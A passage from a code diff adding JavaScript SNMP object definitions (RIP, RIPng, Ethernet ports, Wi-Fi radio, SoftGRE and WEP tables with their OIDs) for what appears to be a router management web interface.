arRIPRoutedSubnetGWNetIP=RIPObjects.RIPRoutedSubnetGWNetIP; +var arRIPRoutedSubnetMask=RIPObjects.RIPRoutedSubnetMask; +var arRIPRoutedSubnetEnabled=RIPObjects.RIPRoutedSubnetEnabled; +var arRIPSendCMInterface=RIPObjects.RIPSendCMInterface; +var arRIPRoutedSubnetDHCP=RIPObjects.RIPRoutedSubnetDHCP; +var arRIPRoutedSubnetNAT=RIPObjects.RIPRoutedSubnetNAT; + +var arRIPInterface=RIPObjects.RIPInterface; +var arRIPSendVersion=RIPObjects.RIPSendVersion; +var arRIPRecvVersion=RIPObjects.RIPRecvVersion; +var arRIPDefaultMetric=RIPObjects.RIPDefaultMetric; +var arRIPNeighbor=RIPObjects.RIPNeighbor; + + +var RIPRoutedSubnetTable = new Table("RIPRoutedSubnetTable", "1.3.6.1.4.1.4115.1.20.1.1.2.5.19"); +RIPRoutedSubnetTable.RIPRoutedSubnetTableIndex = new Column("RIPRoutedSubnetTableIndex","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.1",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableIPType = new Column("RIPRoutedSubnetTableIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.2",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableIP = new Column("RIPRoutedSubnetTableIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.3",4, 1); +RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIPType = new Column("RIPRoutedSubnetTableGWNetIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.4",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIP = new Column("RIPRoutedSubnetTableGWNetIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.5",4, 1); +RIPRoutedSubnetTable.RIPRoutedSubnetTableMask = new Column("RIPRoutedSubnetTableMask","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.6",4, 1); +RIPRoutedSubnetTable.RIPRoutedSubnetTableEnabled = new Column("RIPRoutedSubnetTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.7",2); +RIPRoutedSubnetTable.RIPTableSendCMInterface = new Column("RIPTableSendCMInterface","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.8",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableDHCP = new Column("RIPRoutedSubnetTableDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.9",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableNAT = new Column("RIPRoutedSubnetTableNAT","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.10",2); +var arRIPRoutedSubnetTableIndex=RIPRoutedSubnetTable.RIPRoutedSubnetTableIndex; +var arRIPRoutedSubnetTableIPType=RIPRoutedSubnetTable.RIPRoutedSubnetTableIPType; +var arRIPRoutedSubnetTableIP=RIPRoutedSubnetTable.RIPRoutedSubnetTableIP; +var arRIPRoutedSubnetTableGWNetIPType=RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIPType; +var arRIPRoutedSubnetTableGWNetIP=RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIP; +var arRIPRoutedSubnetTableMask=RIPRoutedSubnetTable.RIPRoutedSubnetTableMask; +var arRIPRoutedSubnetTableEnabled=RIPRoutedSubnetTable.RIPRoutedSubnetTableEnabled; +var arRIPTableSendCMInterface=RIPRoutedSubnetTable.RIPTableSendCMInterface; +var arRIPRoutedSubnetTableDHCP=RIPRoutedSubnetTable.RIPRoutedSubnetTableDHCP; +var arRIPRoutedSubnetTableNAT=RIPRoutedSubnetTable.RIPRoutedSubnetTableNAT; + +var LanEtherPortTable = new Table("LanEtherPortTable", "1.3.6.1.4.1.4115.1.20.1.1.2.8"); +LanEtherPortTable.LanEtherPortIdx = new Column("LanEtherPortIdx", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.1",66); +LanEtherPortTable.LanEtherPortIFIndex = new Column("LanEtherPortIFIndex", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.2",2); +LanEtherPortTable.LanEtherPortEnabled = new Column("LanEtherPortEnabled", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.3",2); +LanEtherPortTable.LanEtherPortDuplex = new Column("LanEtherPortDuplex", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.4",2); +LanEtherPortTable.LanEtherPortSpeed = new Column("LanEtherPortSpeed", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.5",2); +LanEtherPortTable.LanEtherPortAuto = new Column("LanEtherPortAuto", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.6",2); +LanEtherPortTable.LanEtherPortHasLink = new Column("LanEtherPortHasLink", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.7",2); +var arLanEtherPortIdx=LanEtherPortTable.LanEtherPortIdx; +var arLanEtherPortIFIndex=LanEtherPortTable.LanEtherPortIFIndex; +var arLanEtherPortEnabled=LanEtherPortTable.LanEtherPortEnabled; +var arLanEtherPortDuplex=LanEtherPortTable.LanEtherPortDuplex; +var arLanEtherPortSpeed=LanEtherPortTable.LanEtherPortSpeed; +var arLanEtherPortAuto=LanEtherPortTable.LanEtherPortAuto; +var arLanEtherPortHasLink=LanEtherPortTable.LanEtherPortHasLink; + +var RIPngObjects = new Container("RIPngObjects", "1.3.6.1.4.1.4115.1.20.1.1.2.9"); +RIPngObjects.RIPngEnable= new Scalar("RIPngEnable","1.3.6.1.4.1.4115.1.20.1.1.2.9.1",2); +RIPngObjects.RIPngAddr= new Scalar("RIPngAddr","1.3.6.1.4.1.4115.1.20.1.1.2.9.2",4, 1); +RIPngObjects.RIPngSubnetEnable= new Scalar("RIPngSubnetEnable","1.3.6.1.4.1.4115.1.20.1.1.2.9.3",2); +RIPngObjects.RIPngRoutedSubnetAddr= new Scalar("RIPngRoutedSubnetAddr","1.3.6.1.4.1.4115.1.20.1.1.2.9.4",4, 1); +RIPngObjects.RIPngRoutedSubnetPrefixLength= new Scalar("RIPngRoutedSubnetPrefixLength","1.3.6.1.4.1.4115.1.20.1.1.2.9.5",2); +RIPngObjects.RIPngSendCMInterface= new Scalar("RIPngSendCMInterface","1.3.6.1.4.1.4115.1.20.1.1.2.9.6",2); +var arRIPngEnable=RIPngObjects.RIPngEnable; +var arRIPngAddr=RIPngObjects.RIPngAddr; +var arRIPngSubnetEnable=RIPngObjects.RIPngSubnetEnable; +var arRIPngRoutedSubnetAddr=RIPngObjects.RIPngRoutedSubnetAddr; +var arRIPngRoutedSubnetPrefixLength=RIPngObjects.RIPngRoutedSubnetPrefixLength; +var arRIPngSendCMInterface=RIPngObjects.RIPngSendCMInterface; + +var WiFi50RadioSettings = new Container("WiFi50RadioSettings", "1.3.6.1.4.1.4115.1.20.1.1.3.50"); +WiFi50RadioSettings.WiFi50Channel= new Scalar("WiFi50Channel","1.3.6.1.4.1.4115.1.20.1.1.3.50.1",66); +WiFi50RadioSettings.WiFi50Mode= new Scalar("WiFi50Mode","1.3.6.1.4.1.4115.1.20.1.1.3.50.2",2); +WiFi50RadioSettings.WiFi50EnableRadio= new Scalar("WiFi50EnableRadio","1.3.6.1.4.1.4115.1.20.1.1.3.50.10",2); +WiFi50RadioSettings.WiFi50OutputPower= new Scalar("WiFi50OutputPower","1.3.6.1.4.1.4115.1.20.1.1.3.50.14",2); +WiFi50RadioSettings.WiFi50HTTxStream= new Scalar("WiFi50HTTxStream","1.3.6.1.4.1.4115.1.20.1.1.3.50.21",66); +WiFi50RadioSettings.WiFi50HTRxStream= new Scalar("WiFi50HTRxStream","1.3.6.1.4.1.4115.1.20.1.1.3.50.22",66); +WiFi50RadioSettings.WiFi50EnableSTBC= new Scalar("WiFi50EnableSTBC","1.3.6.1.4.1.4115.1.20.1.1.3.50.23",2); +WiFi50RadioSettings.WiFi50EnableRDG= new Scalar("WiFi50EnableRDG","1.3.6.1.4.1.4115.1.20.1.1.3.50.24",2); +WiFi50RadioSettings.WiFi50IGMPSnooping= new Scalar("WiFi50IGMPSnooping","1.3.6.1.4.1.4115.1.20.1.1.3.50.25",2); +WiFi50RadioSettings.WiFi50WiFiBlockDFSChan= new Scalar("WiFi50WiFiBlockDFSChan","1.3.6.1.4.1.4115.1.20.1.1.3.50.26",2); +WiFi50RadioSettings.WiFi50PhysicalChannel= new Scalar("WiFi50PhysicalChannel","1.3.6.1.4.1.4115.1.20.1.1.3.50.16",2); /* kn-mib */ +var arWiFi50Channel=WiFi50RadioSettings.WiFi50Channel; +var arWiFi50Mode=WiFi50RadioSettings.WiFi50Mode; +var arWiFi50EnableRadio=WiFi50RadioSettings.WiFi50EnableRadio; +var arWiFi50OutputPower=WiFi50RadioSettings.WiFi50OutputPower; +var arWiFi50HTTxStream=WiFi50RadioSettings.WiFi50HTTxStream; +var arWiFi50HTRxStream=WiFi50RadioSettings.WiFi50HTRxStream; +var arWiFi50EnableSTBC=WiFi50RadioSettings.WiFi50EnableSTBC; +var arWiFi50EnableRDG=WiFi50RadioSettings.WiFi50EnableRDG; +var arWiFi50IGMPSnooping=WiFi50RadioSettings.WiFi50IGMPSnooping; +var arWiFi50BlockDFSChan=WiFi50RadioSettings.WiFi50WiFiBlockDFSChan; +var arWiFi50PhysicalChannel=WiFi50RadioSettings.WiFi50PhysicalChannel; /* kn-mib */ + +var WiFi50NSettings = new Container("WiFi50NSettings", "1.3.6.1.4.1.4115.1.20.1.1.3.50.20"); +WiFi50NSettings.WiFi50HTMCS= new Scalar("WiFi50HTMCS","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.1",2); +WiFi50NSettings.WiFi50ChannelBW= new Scalar("WiFi50ChannelBW","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.2",2); +WiFi50NSettings.WiFi50NSideBand= new Scalar("WiFi50NSideBand","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.3",2); +WiFi50NSettings.WiFi50HTMode= new Scalar("WiFi50HTMode","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.4",2); +WiFi50NSettings.WiFi50GuardInterval= new Scalar("WiFi50GuardInterval","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.5",2); +WiFi50NSettings.WiFi50AMSDUEnable= new Scalar("WiFi50AMSDUEnable","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.6",2); +WiFi50NSettings.WiFi50DeclinePeerBA= new Scalar("WiFi50DeclinePeerBA","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.7",2); +WiFi50NSettings.WiFi50BlockAck= new Scalar("WiFi50BlockAck","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.8",2); +WiFi50NSettings.WiFi50NProtection= new Scalar("WiFi50NProtection","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.9",2); +WiFi50NSettings.WiFi50Allow40MHzOnlyOperation= new Scalar("WiFi50Allow40MHzOnlyOperation","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.10",2); +var arWiFi50HTMCS=WiFi50NSettings.WiFi50HTMCS; +var arWiFi50ChannelBW=WiFi50NSettings.WiFi50ChannelBW; +var arWiFi50NSideBand=WiFi50NSettings.WiFi50NSideBand; +var arWiFi50HTMode=WiFi50NSettings.WiFi50HTMode; +var arWiFi50GuardInterval=WiFi50NSettings.WiFi50GuardInterval; +var arWiFi50AMSDUEnable=WiFi50NSettings.WiFi50AMSDUEnable; +var arWiFi50DeclinePeerBA=WiFi50NSettings.WiFi50DeclinePeerBA; +var arWiFi50BlockAck=WiFi50NSettings.WiFi50BlockAck; +var arWiFi50NProtection=WiFi50NSettings.WiFi50NProtection; +var arWiFi50Allow40MHzOnlyOperation=WiFi50NSettings.WiFi50Allow40MHzOnlyOperation; + +var WirelessCfg = new Container("WirelessCfg", "1.3.6.1.4.1.4115.1.20.1.1.3"); +WirelessCfg.WiFiCountry= new Scalar("WiFiCountry","1.3.6.1.4.1.4115.1.20.1.1.3.1",4); +WirelessCfg.WiFiChannel= new Scalar("WiFiChannel","1.3.6.1.4.1.4115.1.20.1.1.3.2",66); +WirelessCfg.WiFiMode= new Scalar("WiFiMode","1.3.6.1.4.1.4115.1.20.1.1.3.3",2); +WirelessCfg.WiFiBGProtect= new Scalar("WiFiBGProtect","1.3.6.1.4.1.4115.1.20.1.1.3.4",2); +WirelessCfg.WiFiBeaconInterval= new Scalar("WiFiBeaconInterval","1.3.6.1.4.1.4115.1.20.1.1.3.5",66); +WirelessCfg.WiFiDTIMInterval= new Scalar("WiFiDTIMInterval","1.3.6.1.4.1.4115.1.20.1.1.3.6",66); +WirelessCfg.WiFiTxPreamble= new Scalar("WiFiTxPreamble","1.3.6.1.4.1.4115.1.20.1.1.3.7",2); +WirelessCfg.WiFiRTSThreshold= new Scalar("WiFiRTSThreshold","1.3.6.1.4.1.4115.1.20.1.1.3.8",66); +WirelessCfg.WiFiFragmentThresh= new Scalar("WiFiFragmentThresh","1.3.6.1.4.1.4115.1.20.1.1.3.9",66); +WirelessCfg.WiFiShortSlot= new Scalar("WiFiShortSlot","1.3.6.1.4.1.4115.1.20.1.1.3.10",2); +WirelessCfg.WiFiFrameBurst= new Scalar("WiFiFrameBurst","1.3.6.1.4.1.4115.1.20.1.1.3.11",2); +WirelessCfg.WiFiEnableRadio= new Scalar("WiFiEnableRadio","1.3.6.1.4.1.4115.1.20.1.1.3.12",2); +WirelessCfg.WiFiTxPower= new Scalar("WiFiTxPower","1.3.6.1.4.1.4115.1.20.1.1.3.13",2); +WirelessCfg.WiFiShortRetryLimit= new Scalar("WiFiShortRetryLimit","1.3.6.1.4.1.4115.1.20.1.1.3.14",2); +WirelessCfg.WiFiLongRetryLimit= new Scalar("WiFiLongRetryLimit","1.3.6.1.4.1.4115.1.20.1.1.3.15",2); +WirelessCfg.WiFiOutputPower= new Scalar("WiFiOutputPower","1.3.6.1.4.1.4115.1.20.1.1.3.16",2); +WirelessCfg.WiFiMulticastA= new Scalar("WiFiMulticastA","1.3.6.1.4.1.4115.1.20.1.1.3.17",2); +WirelessCfg.WiFiMulticastBG= new Scalar("WiFiMulticastBG","1.3.6.1.4.1.4115.1.20.1.1.3.18",2); +WirelessCfg.WiFiBasicRateSet= new Scalar("WiFiBasicRateSet","1.3.6.1.4.1.4115.1.20.1.1.3.19",2); +WirelessCfg.WiFiTxRate= new Scalar("WiFiTxRate","1.3.6.1.4.1.4115.1.20.1.1.3.20",2); +WirelessCfg.WiFiResetDefaults= new Scalar("WiFiResetDefaults","1.3.6.1.4.1.4115.1.20.1.1.3.32",2); +WirelessCfg.WiFiEnableRadioNow= new Scalar("WiFiEnableRadioNow","1.3.6.1.4.1.4115.1.20.1.1.3.33",2); +WirelessCfg.WiFiCustomSSIDStr= new Scalar("WiFiCustomSSIDStr","1.3.6.1.4.1.4115.1.20.1.1.3.34",4); +WirelessCfg.WiFiReset= new Scalar("WiFiReset","1.3.6.1.4.1.4115.1.20.1.1.3.35",2); +WirelessCfg.WiFiUseSNForPSK= new Scalar("WiFiUseSNForPSK","1.3.6.1.4.1.4115.1.20.1.1.3.36",2); +WirelessCfg.WiFiRadioControlMode= new Scalar("WiFiRadioControlMode","1.3.6.1.4.1.4115.1.20.1.1.3.37",2); +WirelessCfg.WiFiAutoChannelTime= new Scalar("WiFiAutoChannelTime","1.3.6.1.4.1.4115.1.20.1.1.3.38",2); +WirelessCfg.WiFiUtilityCommand= new Scalar("WiFiUtilityCommand","1.3.6.1.4.1.4115.1.20.1.1.3.40",4); +WirelessCfg.WiFiUtilityCommandOutput= new Scalar("WiFiUtilityCommandOutput","1.3.6.1.4.1.4115.1.20.1.1.3.41",4); +WirelessCfg.WiFiPhysicalChannel= new Scalar("WiFiPhysicalChannel","1.3.6.1.4.1.4115.1.20.1.1.3.43",2); +WirelessCfg.WiFiTxPowerPhysical= new Scalar("WiFiTxPowerPhysical","1.3.6.1.4.1.4115.1.20.1.1.3.44",2); +WirelessCfg.WiFiShortSlotEnhanced= new Scalar("WiFiShortSlotEnhanced","1.3.6.1.4.1.4115.1.20.1.1.3.45",2); +WirelessCfg.WiFiInterferencePhyLayer= new Scalar("WiFiInterferencePhyLayer","1.3.6.1.4.1.4115.1.20.1.1.3.47",2); +WirelessCfg.WiFiInterferenceDriverLayer= new Scalar("WiFiInterferenceDriverLayer","1.3.6.1.4.1.4115.1.20.1.1.3.48",2); +WirelessCfg.WiFiChannelsInterferenceState= new Scalar("WiFiChannelsInterferenceState","1.3.6.1.4.1.4115.1.20.1.1.3.49",4); +WirelessCfg.WiFiExtensionChannel= new Scalar("WiFiExtensionChannel","1.3.6.1.4.1.4115.1.20.1.1.3.64",66); +WirelessCfg.WiFiHTTxStream= new Scalar("WiFiHTTxStream","1.3.6.1.4.1.4115.1.20.1.1.3.55",66); +WirelessCfg.WiFiHTRxStream= new Scalar("WiFiHTRxStream","1.3.6.1.4.1.4115.1.20.1.1.3.56",66); +WirelessCfg.WiFiEnableSTBC= new Scalar("WiFiEnableSTBC","1.3.6.1.4.1.4115.1.20.1.1.3.57",2); +WirelessCfg.WiFiEnableRDG= new Scalar("WiFiEnableRDG","1.3.6.1.4.1.4115.1.20.1.1.3.58",2); +WirelessCfg.WiFiIGMPSnooping= new Scalar("WiFiIGMPSnooping","1.3.6.1.4.1.4115.1.20.1.1.3.59",2); +var arWiFiCountry=WirelessCfg.WiFiCountry; +var arWiFiChannel=WirelessCfg.WiFiChannel; +var arWiFiMode=WirelessCfg.WiFiMode; +var arWiFiBGProtect=WirelessCfg.WiFiBGProtect; +var arWiFiBeaconInterval=WirelessCfg.WiFiBeaconInterval; +var arWiFiDTIMInterval=WirelessCfg.WiFiDTIMInterval; +var arWiFiTxPreamble=WirelessCfg.WiFiTxPreamble; +var arWiFiRTSThreshold=WirelessCfg.WiFiRTSThreshold; +var arWiFiFragmentThresh=WirelessCfg.WiFiFragmentThresh; +var arWiFiShortSlot=WirelessCfg.WiFiShortSlot; +var arWiFiFrameBurst=WirelessCfg.WiFiFrameBurst; +var arWiFiEnableRadio=WirelessCfg.WiFiEnableRadio; +var arWiFiTxPower=WirelessCfg.WiFiTxPower; +var arWiFiShortRetryLimit=WirelessCfg.WiFiShortRetryLimit; +var arWiFiLongRetryLimit=WirelessCfg.WiFiLongRetryLimit; +var arWiFiOutputPower=WirelessCfg.WiFiOutputPower; +var arWiFiMulticastA=WirelessCfg.WiFiMulticastA; +var arWiFiMulticastBG=WirelessCfg.WiFiMulticastBG; +var arWiFiBasicRateSet=WirelessCfg.WiFiBasicRateSet; +var arWiFiTxRate=WirelessCfg.WiFiTxRate; +var arWiFiResetDefaults=WirelessCfg.WiFiResetDefaults; +var arWiFiEnableRadioNow=WirelessCfg.WiFiEnableRadioNow; +var arWiFiCustomSSIDStr=WirelessCfg.WiFiCustomSSIDStr; +var arWiFiReset=WirelessCfg.WiFiReset; +var arWiFiUseSNForPSK=WirelessCfg.WiFiUseSNForPSK; +var arWiFiRadioControlMode=WirelessCfg.WiFiRadioControlMode; +var arWiFiAutoChannelTime=WirelessCfg.WiFiAutoChannelTime; +var arWiFiUtilityCommand=WirelessCfg.WiFiUtilityCommand; +var arWiFiUtilityCommandOutput=WirelessCfg.WiFiUtilityCommandOutput; +var arWiFiPhysicalChannel=WirelessCfg.WiFiPhysicalChannel; +var arWiFiTxPowerPhysical=WirelessCfg.WiFiTxPowerPhysical; +var arWiFiShortSlotEnhanced=WirelessCfg.WiFiShortSlotEnhanced; +var arWiFiInterferencePhyLayer=WirelessCfg.WiFiInterferencePhyLayer; +var arWiFiInterferenceDriverLayer=WirelessCfg.WiFiInterferenceDriverLayer; +var arWiFiChannelsInterferenceState=WirelessCfg.WiFiChannelsInterferenceState; +var arWiFiExtensionChannel=WirelessCfg.WiFiExtensionChannel; +var arWiFiHTTxStream=WirelessCfg.WiFiHTTxStream; +var arWiFiHTRxStream=WirelessCfg.WiFiHTRxStream; +var arWiFiEnableSTBC=WirelessCfg.WiFiEnableSTBC; +var arWiFiEnableRDG=WirelessCfg.WiFiEnableRDG; +var arWiFiIGMPSnooping=WirelessCfg.WiFiIGMPSnooping; + +var WiFi80211NSettings = new Container("WiFi80211NSettings", "1.3.6.1.4.1.4115.1.20.1.1.3.21"); +WiFi80211NSettings.WiFi80211NBand= new Scalar("WiFi80211NBand","1.3.6.1.4.1.4115.1.20.1.1.3.21.1",2); +WiFi80211NSettings.WiFiHTMCS= new Scalar("WiFiHTMCS","1.3.6.1.4.1.4115.1.20.1.1.3.21.2",2); +WiFi80211NSettings.WiFiChannelBW= new Scalar("WiFiChannelBW","1.3.6.1.4.1.4115.1.20.1.1.3.21.3",2); +WiFi80211NSettings.WiFi80211NSideBand= new Scalar("WiFi80211NSideBand","1.3.6.1.4.1.4115.1.20.1.1.3.21.4",2); +WiFi80211NSettings.WiFiHTMode= new Scalar("WiFiHTMode","1.3.6.1.4.1.4115.1.20.1.1.3.21.5",2); +WiFi80211NSettings.WiFiGuardInterval= new Scalar("WiFiGuardInterval","1.3.6.1.4.1.4115.1.20.1.1.3.21.6",2); +WiFi80211NSettings.WiFiAMSDUEnable= new Scalar("WiFiAMSDUEnable","1.3.6.1.4.1.4115.1.20.1.1.3.21.7",2); +WiFi80211NSettings.WiFiDeclinePeerBA= new Scalar("WiFiDeclinePeerBA","1.3.6.1.4.1.4115.1.20.1.1.3.21.8",2); +WiFi80211NSettings.WiFiBlockAck= new Scalar("WiFiBlockAck","1.3.6.1.4.1.4115.1.20.1.1.3.21.9",2); +WiFi80211NSettings.WiFiNProtection= new Scalar("WiFiNProtection","1.3.6.1.4.1.4115.1.20.1.1.3.21.10",2); +var arWiFi80211NBand=WiFi80211NSettings.WiFi80211NBand; +var arWiFiHTMCS=WiFi80211NSettings.WiFiHTMCS; +var arWiFiChannelBW=WiFi80211NSettings.WiFiChannelBW; +var arWiFi80211NSideBand=WiFi80211NSettings.WiFi80211NSideBand; +var arWiFiHTMode=WiFi80211NSettings.WiFiHTMode; +var arWiFiGuardInterval=WiFi80211NSettings.WiFiGuardInterval; +var arWiFiAMSDUEnable=WiFi80211NSettings.WiFiAMSDUEnable; +var arWiFiDeclinePeerBA=WiFi80211NSettings.WiFiDeclinePeerBA; +var arWiFiBlockAck=WiFi80211NSettings.WiFiBlockAck; +var arWiFiNProtection=WiFi80211NSettings.WiFiNProtection; + + +var RouterSoftGreWanTable = new Table("RouterSoftGreWanTable", "1.3.6.1.4.1.4115.1.20.1.1.1.19.1"); +RouterSoftGreWanTable.SoftGreWanEnable = new Column("SoftGreWanEnable","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.1",2,1); +RouterSoftGreWanTable.SoftGreMappedInterface = new Column("SoftGreMappedInterface","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.2",66); +RouterSoftGreWanTable.SoftGreWanDscp = new Column("SoftGreWanDscp","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.19",2,1); +RouterSoftGreWanTable.FailoverPingCount = new Column("FailoverPingCount","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.7",2, 1); +RouterSoftGreWanTable.FailoverPingInterval = new Column("FailoverPingInterval","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.8",2, 1); +RouterSoftGreWanTable.FailoverThreshold = new Column("FailoverThreshold","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.9",2, 1); +//RouterSoftGreWanTable.DNSRetryTimer = new Column("DNSRetryTimer","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.20",2, 1); +RouterSoftGreWanTable.CircuitIdEnabled = new Column("CircuitIdEnabled","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.10",2); +RouterSoftGreWanTable.RemoteIdEnabled = new Column("RemoteIdEnabled","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.11",2); +RouterSoftGreWanTable.MaxSessions = new Column("MaxSessions","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.3",2); +RouterSoftGreWanTable.ControllerFqdn = new Column("ControllerFqdn","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.4",4); +RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddressType = new Column("ControllerProvisionedSecondaryIpAddressType","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.5",1); +RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddress = new Column("ControllerProvisionedSecondaryIpAddress","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.6",4); +RouterSoftGreWanTable.ControllerCurrentIpAddressType = new Column("ControllerCurrentIpAddressType","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.21",1); +RouterSoftGreWanTable.ControllerCurrentIpAddress = new Column("ControllerCurrentIpAddress","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.22",4); + +var arGreWanSoftGreWanEnable=RouterSoftGreWanTable.SoftGreWanEnable; +var arGreWanSoftGreMappedInterface=RouterSoftGreWanTable.SoftGreMappedInterface; +var arGreWanSoftGreWanDscp=RouterSoftGreWanTable.SoftGreWanDscp; +var arGreWanFailoverPingCount=RouterSoftGreWanTable.FailoverPingCount; +var arGreWanFailoverPingInterval=RouterSoftGreWanTable.FailoverPingInterval; +var arGreWanFailoverThreshold=RouterSoftGreWanTable.FailoverThreshold; +//var arGreWanDNSRetryTimer=RouterSoftGreWanTable.DNSRetryTimer; +var arGreWanCircuitIdEnabled=RouterSoftGreWanTable.CircuitIdEnabled; +var arGreWanRemoteIdEnabled=RouterSoftGreWanTable.RemoteIdEnabled; +var arGreMaxSessions=RouterSoftGreWanTable.MaxSessions; +var arGreWanControllerFqdn=RouterSoftGreWanTable.ControllerFqdn; +var arGreWanControllerProvisionedSecondaryIpAddressType=RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddressType; +var arGreWanControllerProvisionedSecondaryIpAddress=RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddress; +var arGreWanControllerCurrentIpAddressType=RouterSoftGreWanTable.ControllerCurrentIpAddressType; +var arGreWanControllerControllerCurrentIpAddress=RouterSoftGreWanTable.ControllerCurrentIpAddress; + +var RouterSoftGreSSIDTable = new Table("RouterSoftGreSSIDTable", "1.3.6.1.4.1.4115.1.20.1.1.1.19.2"); +RouterSoftGreSSIDTable.SoftGreVLanId = new Column("SoftGreVLanId", "1.3.6.1.4.1.4115.1.20.1.1.1.19.2.1.1",66); +RouterSoftGreSSIDTable.SoftGreVLanPriority = new Column("SoftGreVLanPriority", "1.3.6.1.4.1.4115.1.20.1.1.1.19.2.1.2",66); + +var arGreSSIDSoftGreVLanId=RouterSoftGreSSIDTable.SoftGreVLanId; +var arGreSSIDSoftGreVLanPriority=RouterSoftGreSSIDTable.SoftGreVLanPriority; + + +var BSSTable = new Table("BSSTable", "1.3.6.1.4.1.4115.1.20.1.1.3.22"); +BSSTable.BssID = new Column("BssID","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.1",4, 1); +BSSTable.BssSSID = new Column("BssSSID","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.2",4); +BSSTable.BssActive = new Column("BssActive","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.3",2); +BSSTable.BssSSIDBroadcast = new Column("BssSSIDBroadcast","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.4",2); +BSSTable.BssSecurityMode = new Column("BssSecurityMode","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.5",2); +BSSTable.BssAccessMode = new Column("BssAccessMode","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.6",2); +BSSTable.BssNetworkIsolate = new Column("BssNetworkIsolate","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.7",2); +BSSTable.BssMACAccessCount = new Column("BssMACAccessCount","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.8",66); +BSSTable.BssMACAccessClear = new Column("BssMACAccessClear","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.9",2); +BSSTable.BssWMMEnable = new Column("BssWMMEnable","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.12",2); +var arBssID=BSSTable.BssID; +var arBssSSID=BSSTable.BssSSID; +var arBssActive=BSSTable.BssActive; +var arBssSSIDBroadcast=BSSTable.BssSSIDBroadcast; +var arBssSecurityMode=BSSTable.BssSecurityMode; +var arBssAccessMode=BSSTable.BssAccessMode; +var arBssNetworkIsolate=BSSTable.BssNetworkIsolate; +var arBssMACAccessCount=BSSTable.BssMACAccessCount; +var arBssMACAccessClear=BSSTable.BssMACAccessClear; +var arBssWMMEnable=BSSTable.BssWMMEnable; + +var WEPTable = new Table("WEPTable", "1.3.6.1.4.1.4115.1.20.1.1.3.23"); +WEPTable.WEPCurrentKey = new Column("WEPCurrentKey","1.3.6.1.4.1.4115.1.20.1.1.3.23.1.1",66); +WEPTable.WEPEncryptionMode = new Column("WEPEncryptionMode","1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2",2); +WEPTable.WEPPassPhrase = new Column("WEPPassPhrase","1.3.6.1.4.1.4115.1.20.1.1.3.23.1.3",4); +var arWEPCurrentKey=WEPTable.WEPCurrentKey; +var arWEPEncryptionMode=WEPTable.WEPEncryptionMode; +var arWEPPassPhrase=WEPTable.WEPPassPhrase; + +var WEP64BitKeyTable = new Table("WEP64BitKeyTable", "1.3.6.1.4.1.4115.1.20.1.1.3.24"); +WEP64BitKeyTable.WEP64BitKeyIndex = new Column("WEP64BitKeyIndex","1.3.6.1.4.1.4115.1.20.1.1.3.24.1.1",2); +WEP64BitKeyTable.WEP64BitKeyValue = new Column("WEP64BitKeyValue","1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2",4); +WEP64BitKeyTable.WEP64BitKeyStatus = new Column("WEP64BitKeyStatus","1.3.6.1.4.1.4115.1.20.1.1.3.24.1.3",2); +var 